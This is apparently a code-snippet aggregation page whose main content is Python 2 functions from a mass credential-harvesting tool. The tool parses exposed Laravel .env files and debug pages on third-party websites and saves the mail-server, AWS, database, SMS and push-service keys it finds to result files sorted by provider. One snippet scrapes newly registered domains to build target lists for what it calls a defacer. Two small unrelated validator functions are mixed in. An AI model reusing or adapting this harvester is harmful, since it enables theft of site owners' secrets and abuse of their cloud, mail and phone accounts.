                    save = open('Resultz/mailgun.txt', 'a')
                    save.write(str(remover) + '\n\n')
                    save.close()
                if "sparkpostmail.com" in str(
                        mailhost) and sparkpostmail() == "on":
                    print "\033[1;40m[x] {} ===>   \033[1;32;40msparkpostmail".format(
                        str(url))
                    save = open('Resultz/sparkpostmail.txt', 'a')
                    save.write(str(remover) + '\n\n')
                    save.close()
                if "mandrillapp.com" in str(
                        mailhost) and mandrillapp() == "on":
                    print "\033[1;40m[x] {} ===>   \033[1;32;40mmandrillapp".format(
                        str(url))
                    save = open('Resultz/mandrill.txt', 'a')
                    save.write(str(remover) + '\n\n')
                    save.close()
                if "zoho." in str(mailhost) and zoho() == "on":
                    print "\033[1;40m[x] {} ===>   \033[1;32;40mzoho".format(
                        str(url))
                    save = open('Resultz/zoho.txt', 'a')
                    save.write(str(remover) + '\n\n')
                    save.close()
                if "1and1." in str(mailhost) and and1() == "on":
                    print "\033[1;40m[x] {} ===>   \033[1;32;40m1and1".format(
                        str(url))
                    save = open('Resultz/1and1.txt', 'a')
                    save.write(str(remover) + '\n\n')
                    save.close()
                if "smtp.office365.com" and office365() == "on":
                    print "\033[1;40m[x] {} ===>   \033[1;32;40moffice365".format(
                        str(url))
                    save = open('Resultz/office365.txt', 'a')
                    save.write(str(remover) + '\n\n')
                    save.close()
                if mailuser == "null" or mailpass == "null" or mailuser == "" or mailpass == "":
                    print "\033[1;40m[x] {} ===>   \033[1;31;40mFailed".format(
                        str(url))
                print "\033[1;40m[x] {} ===>   \033[1;32;40mSMTP".format(
                    str(url))
                save = open('Resultz/SMTP_RANDOM.txt', 'a')
                save.write(str(remover) + '\n\n')
                save.close()
        else:
            print "\033[1;40m[x] {} ===>   \033[1;31;40mFailed SMTP".format(
                str(url))

        if '<td>TWILIO_ACCOUNT_SID</td>' in text and twillio() == "on":
            print "\033[1;40m[x] {} ===>   \033[1;32;40mTwillio".format(
                str(url))
            acc_sid = reg(
                '<td>TWILIO_ACCOUNT_SID<\/td>\s+<td><pre.*>(.*?)<\/span>',
                text)[0]
            acc_key = reg(
                '<td>TWILIO_API_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0]
            sec = reg('<td>TWILIO_API_SECRET<\/td>\s+<td><pre.*>(.*?)<\/span>',
                      text)[0]
            chatid = reg(
                '<td>TWILIO_CHAT_SERVICE_SID<\/td>\s+<td><pre.*>(.*?)<\/span>',
                text)[0]
            phone = reg('<td>TWILIO_NUMBER<\/td>\s+<td><pre.*>(.*?)<\/span>',
                        text)[0]
            auhtoken = reg(
                '<td>TWILIO_AUTH_TOKEN<\/td>\s+<td><pre.*>(.*?)<\/span>',
                text)[0]
            build = 'URL: ' + str(url) + '\nTWILIO_ACCOUNT_SID: ' + str(
                acc_sid) + '\nTWILIO_API_KEY: ' + str(
                    acc_key) + '\nTWILIO_API_SECRET: ' + str(
                        sec) + '\nTWILIO_CHAT_SERVICE_SID: ' + str(
                            chatid) + '\nTWILIO_NUMBER: ' + str(
                                phone) + '\nTWILIO_AUTH_TOKEN: ' + str(
                                    auhtoken)
            remover = str(build).replace('\r', '')
            save = open('Resultz/TWILLIO.txt', 'a')
            save.write(remover + '\n\n')
            save.close()
        else:
            print "\033[1;40m[x] {} ===>   \033[1;31;40mFailed Twillio".format(
                str(url))
        if '<td>NEXMO_KEY</td>' in text and NEXMO() == "on":

            try:
                nexmo_key = reg(
                    '<td>NEXMO_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0]
            except:
                nexmo_key = ''
            try:
                nexmo_secret = reg(
                    '<td>NEXMO_SECRET<\/td>\s+<td><pre.*>(.*?)<\/span>',
                    text)[0]
            except:
                nexmo_secret = ''
            try:
                phone = reg('<td>EXMO_NUMBER<\/td>\s+<td><pre.*>(.*?)<\/span>',
                            text)[0]
            except:
                phone = ''
            print "\033[1;40m[x] {} ===>   \033[1;32;40mNEXMO".format(str(url))
            build = 'URL: ' + str(url) + '\nnexmo_key: ' + str(
                nexmo_key) + '\nnexmo_secret: ' + str(
                    nexmo_secret) + '\nphone: ' + str(phone)
            remover = str(build).replace('\r', '')
            save = open('Resultz/NEXMO.txt', 'a')
            save.write(remover + '\n\n')
            save.close()
        elif 'NEXMO_KEY' not in text or 'NEXMO_KEY' in text and NEXMO(
        ) == "off":
            pass
        else:
            print "\033[1;40m[x] {} ===>   \033[1;31;40mFailed NEXMO".format(
                str(url))

        if '<td>EXOTEL_API_KEY</td>' in text and EXOTEL() == "on":
            try:
                exotel_api = reg(
                    '<td>EXOTEL_API_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>',
                    text)[0]
            except:
                exotel_api = ''
            try:
                exotel_token = reg(
                    '<td>EXOTEL_API_TOKEN<\/td>\s+<td><pre.*>(.*?)<\/span>',
                    text)[0]
            except:
                exotel_token = ''
            try:
                exotel_sid = reg(
                    '<td>EXOTEL_API_SID<\/td>\s+<td><pre.*>(.*?)<\/span>',
                    text)[0]
            except:
                exotel_sid = ''
            print "\033[1;40m[x] {} ===>   \033[1;32;40mEXOTEL".format(
                str(url))
            build = 'URL: ' + str(url) + '\nEXOTEL_API_KEY: ' + str(
                exotel_api) + '\nEXOTEL_API_TOKEN: ' + str(
                    exotel_token) + '\nEXOTEL_API_SID: ' + str(exotel_sid)
            remover = str(build).replace('\r', '')
            save = open('Resultz/EXOTEL.txt', 'a')
            save.write(remover + '\n\n')
            save.close()
        elif 'EXOTEL_API_KEY' not in text or 'EXOTEL_API_KEY' in text and EXOTEL(
        ) == "off":
            pass
        else:
            print "\033[1;40m[x] {} ===>   \033[1;31;40mFailed EXOTEL".format(
                str(url))

        if '<td>ONESIGNAL_APP_ID</td>' in text and ONESIGNAL() == "on":
            try:
                onesignal_id = reg(
                    '<td>ONESIGNAL_APP_ID<\/td>\s+<td><pre.*>(.*?)<\/span>',
                    text)[0]
            except:
                onesignal_id = ''
            try:
                onesignal_token = reg(
                    '<td>ONESIGNAL_REST_API_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>',
                    text)[0]
            except:
                onesignal_token = ''
            try:
                onesignal_auth = reg(
                    '<td>ONESIGNAL_USER_AUTH_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>',
                    text)[0]
            except:
                onesignal_auth = ''
            print "\033[1;40m[x] {} ===>   \033[1;32;40mONESIGNAL".format(
                str(url))
            build = 'URL: ' + str(url) + '\nONESIGNAL_APP_ID: ' + str(
                onesignal_id) + '\nONESIGNAL_REST_API_KEY: ' + str(
                    onesignal_token) + '\nONESIGNAL_USER_AUTH_KEY: ' + str(
                        onesignal_auth)
            remover = str(build).replace('\r', '')
            save = open('Resultz/ONESIGNAL.txt', 'a')
            save.write(remover + '\n\n')
            save.close()
        elif 'ONESIGNAL_APP_ID' not in text or 'ONESIGNAL_APP_ID' in text and ONESIGNAL(
        ) == "off":
            pass
        else:
            print "\033[1;40m[x] {} ===>   \033[1;31;40mFailed ONESIGNAL".format(
                str(url))
        if '<td>TOKBOX_KEY_DEV</td>' in text and TOKBOX() == "on":
            try:
                tokbox_key = reg(
                    '<td>TOKBOX_KEY_DEV<\/td>\s+<td><pre.*>(.*?)<\/span>',
                    text)[0]
            except:
                tokbox_key = ''
            try:
                tokbox_secret = reg(
                    '<td>TOKBOX_SECRET_DEV<\/td>\s+<td><pre.*>(.*?)<\/span>',
                    text)[0]
            except:
                tokbox_secret = ''
            print "\033[1;40m[x] {} ===>   \033[1;32;40mTOKBOX".format(
                str(url))
            build = 'URL: ' + str(url) + '\nTOKBOX_KEY_DEV: ' + str(
                tokbox_key) + '\nTOKBOX_SECRET_DEV: ' + str(tokbox_secret)
            remover = str(build).replace('\r', '')
            save = open('Resultz/TOKBOX.txt', 'a')
            save.write(remover + '\n\n')
            save.close()
        elif 'TOKBOX_KEY_DEV' not in text or 'TOKBOX_KEY_DEV' in text and TOKBOX(
        ) == "off":
            pass
        else:
            print "\033[1;40m[x] {} ===>   \033[1;31;40mFailed TOKBOX".format(
                str(url))
        if '<td>TOKBOX_KEY</td>' in text:
            try:
                tokbox_key = reg(
                    '<td>TOKBOX_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0]
            except:
                tokbox_key = ''
            try:
                tokbox_secret = reg(
                    '<td>TOKBOX_SECRET<\/td>\s+<td><pre.*>(.*?)<\/span>',
                    text)[0]
            except:
                tokbox_secret = ''
            print "\033[1;40m[x] {} ===>   \033[1;32;40mTOKBOX".format(
                str(url))
            build = 'URL: ' + str(url) + '\nTOKBOX_KEY_DEV: ' + str(
                tokbox_key) + '\nTOKBOX_SECRET_DEV: ' + str(tokbox_secret)
            remover = str(build).replace('\r', '')
            save = open('Resultz/TOKBOX.txt', 'a')
            save.write(remover + '\n\n')
            save.close()
        elif 'TOKBOX_KEY_DEV' not in text or 'TOKBOX_KEY_DEV' in text and TOKBOX(
        ) == "off":
            pass
        else:
            print "\033[1;40m[x] {} ===>   \033[1;31;40mFailed TOKBOX".format(
                str(url))

    except Exception as e:
        pass
示例#10
0
def discord_server_validator(url):
    regex = reg(r'^(https?://)?discord\.(gg|me)/[A-Za-z0-9_%-]+$')
    message = 'Invalid Discord server URL.'
    code = 'invalid_discord_url'
    if not regex.match(str(url)):
        raise ValidationError(message, code)
示例#11
0
文件: tes1.py 项目: piomrox/shin
try:
    MEMEK = raw_input('Date month Year@ ~#: ')
    ANJING = raw_input('Domain@ ~#: ')
except IndexError:
    print kuning + '-----------------------------------------'
    print abang + '[*]' + kuning + ' Python ' + ijo + 'heker.py ' + putih + 'Name_of_defacer ' + y
    print(Style.RESET_ALL)
    sys.exit()

print ijo + 'SCANNING : ' + MEMEK
print ijo + 'SCANNING : ' + MEMEK
for page in range(1, 9999):
    Agent1 = {
        'User-Agent':
        'Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36'
    }
    url = 'https://domain-status.com/archives/' + MEMEK + '/' + ANJING + '/registered/' + str(
        page)
    KONTOL = requests.get(url, timeout=10, headers=Agent1).content
    if 'www' in KONTOL:
        domen = reg('<a href="(.*?)">', KONTOL)
        for x in domen:
            print(str(domen) + ijo + '[!] LAGI GRAB SLUR . . .')
            for site in domen:
                kimak = site.replace(
                    "https://domain-status.com/www/", "").replace(
                        "https://domain-status.com/archives/",
                        "").replace("/com/registered/",
                                    "").replace("/org/registered/", "")
                open('ipgoblok.txt', 'a').write('http://' + kimak + '\n')
示例#12
0
 def get_db(self, text, url):
     try:
         if "DB_HOST" in text:
             if "DB_HOST=" in text:
                 method = '/.env'
                 dbconnec = reg('\nDB_CONNECTION=(.*?)\n', text)[0]
                 dbhost = reg('\nDB_HOST=(.*?)\n', text)[0]
                 dbport = reg('\nDB_PORT=(.*?)\n', text)[0]
                 dbdata = reg('\nDB_DATABASE=(.*?)\n', text)[0]
                 dbuser = reg('\nDB_USERNAME=(.*?)\n', text)[0]
                 dbpass = reg('\nDB_PASSWORD=(.*?)\n', text)[0]
             elif '<td>DB_HOST</td>' in text:
                 method = 'debug'
                 dbconnec = reg(
                     '<td>DB_CONNECTION<\/td>\s+<td><pre.*>(.*?)<\/span>',
                     text)[0]
                 dbhost = reg(
                     '<td>DB_HOST<\/td>\s+<td><pre.*>(.*?)<\/span>',
                     text)[0]
                 dbport = reg(
                     '<td>DB_PORT<\/td>\s+<td><pre.*>(.*?)<\/span>',
                     text)[0]
                 dbdata = reg(
                     '<td>DB_DATABASE<\/td>\s+<td><pre.*>(.*?)<\/span>',
                     text)[0]
                 dbuser = reg(
                     '<td>DB_USERNAME<\/td>\s+<td><pre.*>(.*?)<\/span>',
                     text)[0]
                 dbpass = reg(
                     '<td>DB_PASSWORD<\/td>\s+<td><pre.*>(.*?)<\/span>',
                     text)[0]
             build = 'URL: ' + str(url) + '\nMETHOD: ' + str(
                 method
             ) + '\nDB_CONNECTION: ' + str(dbconnec) + '\nDB_HOST: ' + str(
                 dbhost) + '\nDB_PORT: ' + str(
                     dbport) + '\nDB_DATABASE: ' + str(
                         dbdata) + '\nDB_USERNAME: '******'\nDB_PASSWORD: '******'\r', '')
             save = open('Resultz/DATABASE.txt', 'a')
             save.write(remover + '\n\n')
             save.close()
             return True
         else:
             return False
     except:
         return False
示例#13
0
    def get_smtp1(self, text, url):
        try:
            if "MAIL_HOST" in text:
                if "MAIL_HOST=" in text:
                    method = '/.env'
                    mailhost = reg("\nMAIL_HOST=(.*?)\n", text)[0]
                    mailport = reg("\nMAIL_PORT=(.*?)\n", text)[0]
                    mailuser = reg("\nMAIL_USERNAME=(.*?)\n", text)[0]
                    mailpass = reg("\nMAIL_PASSWORD=(.*?)\n", text)[0]
                    mailfrom = reg("\nMAIL_FROM_ADDRESS=(.*?)\n", text)[0]
                elif "<td>MAIL_HOST</td>" in text:
                    method = 'debug'
                    mailhost = reg(
                        '<td>MAIL_HOST<\/td>\s+<td><pre.*>(.*?)<\/span>',
                        text)[0]
                    mailport = reg(
                        '<td>MAIL_PORT<\/td>\s+<td><pre.*>(.*?)<\/span>',
                        text)[0]
                    mailuser = reg(
                        '<td>MAIL_USERNAME<\/td>\s+<td><pre.*>(.*?)<\/span>',
                        text)[0]
                    mailpass = reg(
                        '<td>MAIL_PASSWORD<\/td>\s+<td><pre.*>(.*?)<\/span>',
                        text)[0]
                    mailfrom = reg(
                        '<td>MAIL_FROM_ADDRESS<\/td>\s+<td><pre.*>(.*?)<\/span>',
                        text)[0]
                if mailuser == "null" or mailpass == "null" or mailfrom == "null" or mailuser == "" or mailpass == "" or mailfrom == "":
                    return False
                else:
                    if '.sendgrid.net' in mailhost:
                        build = 'URL: ' + str(url) + '\nMETHOD: ' + str(
                            method) + '\nMAILHOST: ' + str(
                                mailhost) + '\nMAILPORT: ' + str(
                                    mailport) + '\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFORM: ' + str(
                                                mailfrom)
                        remover = str(build).replace('\r', '')
                        save = open('Resultz/SENDGRID.txt', 'a')
                        save.write(remover + '\n\n')
                        save.close()
                    if '.mailgun.org' in mailhost:
                        build = 'URL: ' + str(url) + '\nMETHOD: ' + str(
                            method) + '\nMAILHOST: ' + str(
                                mailhost) + '\nMAILPORT: ' + str(
                                    mailport) + '\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFORM: ' + str(
                                                mailfrom)
                        remover = str(build).replace('\r', '')
                        save = open('Resultz/MAILGUN.txt', 'a')
                        save.write(remover + '\n\n')
                        save.close()

                    if '.gmail.com' in mailhost:
                        build = 'URL: ' + str(url) + '\nMETHOD: ' + str(
                            method) + '\nMAILHOST: ' + str(
                                mailhost) + '\nMAILPORT: ' + str(
                                    mailport) + '\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFORM: ' + str(
                                                mailfrom)
                        remover = str(build).replace('\r', '')
                        save = open('Resultz/GMAIL.txt', 'a')
                        save.write(remover + '\n\n')
                        save.close()

                    if '.zoho.com' in mailhost:
                        build = 'URL: ' + str(url) + '\nMETHOD: ' + str(
                            method) + '\nMAILHOST: ' + str(
                                mailhost) + '\nMAILPORT: ' + str(
                                    mailport) + '\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFORM: ' + str(
                                                mailfrom)
                        remover = str(build).replace('\r', '')
                        save = open('Resultz/ZOHO.txt', 'a')
                        save.write(remover + '\n\n')
                        save.close()

                    if '.office365.com' in mailhost:
                        build = 'URL: ' + str(url) + '\nMETHOD: ' + str(
                            method) + '\nMAILHOST: ' + str(
                                mailhost) + '\nMAILPORT: ' + str(
                                    mailport) + '\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFORM: ' + str(
                                                mailfrom)
                        remover = str(build).replace('\r', '')
                        save = open('Resultz/OFFICE.txt', 'a')
                        save.write(remover + '\n\n')
                        save.close()

                    else:
                        build = 'URL: ' + str(url) + '\nMETHOD: ' + str(
                            method) + '\nMAILHOST: ' + str(
                                mailhost) + '\nMAILPORT: ' + str(
                                    mailport) + '\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFORM: ' + str(
                                                mailfrom)
                        remover = str(build).replace('\r', '')
                        save = open('Resultz/SMTP_RANDOM.txt', 'a')
                        save.write(remover + '\n\n')
                        save.close()
                    return True
            else:
                return False
        except Exception as err:
            print(str(err))
            return False
示例#14
0
	def get_smtp(self, text, url):
		try:
			if "MAIL_HOST" in text:
				if "MAIL_HOST=" in text:
					method = '/.env'
					mailhost = reg("\nMAIL_HOST=(.*?)\n", text)[0]
					mailport = reg("\nMAIL_PORT=(.*?)\n", text)[0]
					mailuser = reg("\nMAIL_USERNAME=(.*?)\n", text)[0]
					mailpass = reg("\nMAIL_PASSWORD=(.*?)\n", text)[0]
					try:
						mailfrom = reg("\nMAIL_FROM_ADDRESS=(.*?)\n", text)[0]
					except:
						mailfrom = ''
					try:
						fromname = reg("\MAIL_FROM_NAME=(.*?)\n", text)[0]
					except:
						fromname = ''
				elif "<td>MAIL_HOST</td>" in text:
					method = 'debug'
					mailhost = reg('<td>MAIL_HOST<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0]
					mailport = reg('<td>MAIL_PORT<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0]
					mailuser = reg('<td>MAIL_USERNAME<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0]
					mailpass = reg('<td>MAIL_PASSWORD<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0]
					try:
						mailfrom = reg("<td>MAIL_FROM_ADDRESS<\/td>\s+<td><pre.*>(.*?)<\/span>", text)[0]
					except:
						mailfrom = ''
					try:
						fromname = reg("<td>MAIL_FROM_NAME<\/td>\s+<td><pre.*>(.*?)<\/span>", text)[0]
					except:
						fromname = ''
				if mailuser == "null" or mailpass == "null" or mailuser == "" or mailpass == "":
					return False
				else:
					# mod aws
					if '.amazonaws.com' in mailhost:
						getcountry = reg('email-smtp.(.*?).amazonaws.com', mailhost)[0]
						build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname)
						remover = str(build).replace('\r', '')
						save = open('Results/'+getcountry[:-2]+'.txt', 'a')
						save.write(remover+'\n\n')
						save.close()
						remover = str(build).replace('\r', '')
						save2 = open('Results/smtp_aws.txt', 'a')
						save2.write(remover+'\n\n')
						save2.close()
					elif 'sendgrid' in mailhost:
						build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname)
						remover = str(build).replace('\r', '')
						save = open('Results/sendgrid.txt', 'a')
						save.write(remover+'\n\n')
						save.close()
					elif 'office365' in mailhost:
						build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname)
						remover = str(build).replace('\r', '')
						save = open('Results/office.txt', 'a')
						save.write(remover+'\n\n')
						save.close()
					elif '1and1' in mailhost or '1und1' in mailhost:
						build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname)
						remover = str(build).replace('\r', '')
						save = open('Results/1and1.txt', 'a')
						save.write(remover+'\n\n')
						save.close()
					elif 'zoho' in mailhost:
						build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname)
						remover = str(build).replace('\r', '')
						save = open('Results/zoho.txt', 'a')
						save.write(remover+'\n\n')
						save.close()
					elif 'mandrillapp' in mailhost:
						build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname)
						remover = str(build).replace('\r', '')
						save = open('Results/mandrill.txt', 'a')
						save.write(remover+'\n\n')
						save.close()
					elif 'mailgun' in mailhost:
						build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname)
						remover = str(build).replace('\r', '')
						save = open('Results/mailgun.txt', 'a')
						save.write(remover+'\n\n')
						save.close()
					else:
						build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nMAILHOST: '+str(mailhost)+'\nMAILPORT: '+str(mailport)+'\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFROM: '+str(mailfrom)+'\nFROMNAME: '+str(fromname)
						remover = str(build).replace('\r', '')
						save = open('Results/SMTP_RANDOM.txt', 'a')
						save.write(remover+'\n\n')
						save.close()
					return True
			else:
				return False
		except:
			return False
示例#15
0
 def get_smtp(self, text, url):
     try:
         if "MAIL_HOST" in text:
             if "MAIL_HOST=" in text:
                 method = '/.env'
                 mailhost = reg("\nMAIL_HOST=(.*?)\n", text)[0]
                 mailport = reg("\nMAIL_PORT=(.*?)\n", text)[0]
                 mailuser = reg("\nMAIL_USERNAME=(.*?)\n", text)[0]
                 mailpass = reg("\nMAIL_PASSWORD=(.*?)\n", text)[0]
                 mailfrom = reg("\nMAIL_FROM_ADDRESS=(.*?)\n", text)[0]
             elif "<td>MAIL_HOST</td>" in text:
                 method = 'debug'
                 mailhost = reg(
                     '<td>MAIL_HOST<\/td>\s+<td><pre.*>(.*?)<\/span>',
                     text)[0]
                 mailport = reg(
                     '<td>MAIL_PORT<\/td>\s+<td><pre.*>(.*?)<\/span>',
                     text)[0]
                 mailuser = reg(
                     '<td>MAIL_USERNAME<\/td>\s+<td><pre.*>(.*?)<\/span>',
                     text)[0]
                 mailpass = reg(
                     '<td>MAIL_PASSWORD<\/td>\s+<td><pre.*>(.*?)<\/span>',
                     text)[0]
                 mailfrom = reg(
                     '<td>MAIL_FROM_ADDRESS<\/td>\s+<td><pre.*>(.*?)<\/span>',
                     text)[0]
             if mailuser == "null" or mailpass == "null" or mailfrom == "null" or mailuser == "" or mailpass == "" or mailfrom == "":
                 return False
             else:
                 # mod aws
                 if '.amazonaws.com' in mailhost:
                     getcountry = reg('email-smtp.(.*?).amazonaws.com',
                                      mailhost)[0]
                     build = 'URL: ' + str(url) + '\nMETHOD: ' + str(
                         method) + '\nMAILHOST: ' + str(
                             mailhost) + '\nMAILPORT: ' + str(
                                 mailport) + '\nMAILUSER: '******'\nMAILPASS: '******'\nMAILFROM: ' + str(
                                             mailfrom)
                     remover = str(build).replace('\r', '')
                     save = open('Results/' + getcountry[:-2] + '.txt', 'a')
                     save.write(remover + '\n\n')
                     save.close()
                 else:
                     build = 'URL: ' + str(url) + '\nMETHOD: ' + str(
                         method) + '\nMAILHOST: ' + str(
                             mailhost) + '\nMAILPORT: ' + str(
                                 mailport) + '\nMAILUSER: '******'\nMAILPASS: '******'\r', '')
                     save = open('Results/SMTP_RANDOM.txt', 'a')
                     save.write(remover + '\n\n')
                     save.close()
                 return True
         else:
             return False
     except Exception as err:
         print(str(err))
         return False
示例#16
0
	def get_aws_data(self, text, url):
		try:
			if "AWS_ACCESS_KEY_ID" in text:
				if "AWS_ACCESS_KEY_ID=" in text:
					method = '/.env'
					try:
						aws_key = reg("\nAWS_ACCESS_KEY_ID=(.*?)\n", text)[0]
					except:
						aws_key = ''
					try:
						aws_sec = reg("\nAWS_SECRET_ACCESS_KEY=(.*?)\n", text)[0]
					except:
						aws_sec = ''
					try:
						asu = androxgh0st().get_aws_region(text)
						if asu:
							aws_reg = asu
						else:
							aws_reg = ''
					except:
						aws_reg = ''
				elif "<td>AWS_ACCESS_KEY_ID</td>" in text:
					method = 'debug'
					try:
						aws_key = reg("<td>AWS_ACCESS_KEY_ID<\/td>\s+<td><pre.*>(.*?)<\/span>", text)[0]
					except:
						aws_key = ''
					try:
						aws_sec = reg("<td>AWS_SECRET_ACCESS_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>", text)[0]
					except:
						aws_sec = ''
					try:
						asu = androxgh0st().get_aws_region(text)
						if asu:
							aws_reg = asu
						else:
							aws_reg = ''
					except:
						aws_reg = ''
				if aws_reg == "":
					aws_reg = "aws_unknown_region--"
				if aws_key == "" and aws_sec == "":
					return False
				else:
					build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nAWS ACCESS KEY: '+str(aws_key)+'\nAWS SECRET KEY: '+str(aws_sec)+'\nAWS REGION: '+str(aws_reg)+'\nAWS BUCKET: '
					remover = str(build).replace('\r', '')
					save = open('Results/'+str(aws_reg)[:-2]+'.txt', 'a')
					save.write(remover+'\n\n')
					save.close()
					remover = str(build).replace('\r', '')
					save2 = open('Results/aws_access_key_secret.txt', 'a')
					save2.write(remover+'\n\n')
					save2.close()
				return True
			elif "AWS_KEY" in text:
				if "AWS_KEY=" in text:
					method = '/.env'
					try:
						aws_key = reg("\nAWS_KEY=(.*?)\n", text)[0]
					except:
						aws_key = ''
					try:
						aws_sec = reg("\nAWS_SECRET=(.*?)\n", text)[0]
					except:
						aws_sec = ''
					try:
						asu = androxgh0st().get_aws_region(text)
						if asu:
							aws_reg = asu
						else:
							aws_reg = ''
					except:
						aws_reg = ''
					try:
						aws_buc = reg("\nAWS_BUCKET=(.*?)\n", text)[0]
					except:
						aws_buc = ''
				elif "<td>AWS_KEY</td>" in text:
					method = 'debug'
					try:
						aws_key = reg("<td>AWS_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>", text)[0]
					except:
						aws_key = ''
					try:
						aws_sec = reg("<td>AWS_SECRET<\/td>\s+<td><pre.*>(.*?)<\/span>", text)[0]
					except:
						aws_sec = ''
					try:
						asu = androxgh0st().get_aws_region(text)
						if asu:
							aws_reg = asu
						else:
							aws_reg = ''
					except:
						aws_reg = ''
					try:
						aws_buc = reg("<td>AWS_BUCKET<\/td>\s+<td><pre.*>(.*?)<\/span>", text)[0]
					except:
						aws_buc = ''
				if aws_reg == "":
					aws_reg = "aws_unknown_region--"
				if aws_key == "" and aws_sec == "":
					return False
				else:
					build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nAWS ACCESS KEY: '+str(aws_key)+'\nAWS SECRET KEY: '+str(aws_sec)+'\nAWS REGION: '+str(aws_reg)+'\nAWS BUCKET: '+str(aws_buc)
					remover = str(build).replace('\r', '')
					save = open('Results/'+str(aws_reg)[:-2]+'.txt', 'a')
					save.write(remover+'\n\n')
					save.close()
					remover = str(build).replace('\r', '')
					save2 = open('Results/aws_access_key_secret.txt', 'a')
					save2.write(remover+'\n\n')
					save2.close()
				return True
			elif "SES_KEY" in text:
				if "SES_KEY=" in text:
					method = '/.env'
					try:
					   aws_key = reg("\nSES_KEY=(.*?)\n", text)[0]
					except:
						aws_key = ''
					try:
						aws_sec = reg("\nSES_SECRET=(.*?)\n", text)[0]
					except:
						aws_sec = ''
					try:
						asu = androxgh0st().get_aws_region(text)
						if asu:
							aws_reg = asu
						else:
							aws_reg = ''
					except:
						aws_reg = ''
				elif "<td>SES_KEY</td>" in text:
					method = 'debug'
					try:
						aws_key = reg("<td>SES_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>", text)[0]
					except:
						aws_key = ''
					try:
						aws_sec = reg("<td>SES_SECRET<\/td>\s+<td><pre.*>(.*?)<\/span>", text)[0]
					except:
						aws_sec = ''
					try:
						asu = androxgh0st().get_aws_region(text)
						if asu:
							aws_reg = asu
						else:
							aws_reg = ''
					except:
						aws_reg = ''
				if aws_reg == "":
					aws_reg = "aws_unknown_region--"
				if aws_key == "" and aws_sec == "":
					return False
				else:
					build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nAWS ACCESS KEY: '+str(aws_key)+'\nAWS SECRET KEY: '+str(aws_sec)+'\nAWS REGION: '+str(aws_reg)+'\nAWS BUCKET: '
					remover = str(build).replace('\r', '')
					save = open('Results/'+str(aws_reg)[:-2]+'.txt', 'a')
					save.write(remover+'\n\n')
					save.close()
					remover = str(build).replace('\r', '')
					save2 = open('Results/aws_access_key_secret.txt', 'a')
					save2.write(remover+'\n\n')
					save2.close()
				return True
			else:
				return False
		except:
			return False
示例#17
0
 def __init__(self, **kwargs):
     self.regex = reg(kwargs['regex'])
     self.message = kwargs['message'] or 'Invalid username.'
     self.code = kwargs['code'] or 'invalid_username'
     super(UsernameValidator, self).__init__(**kwargs)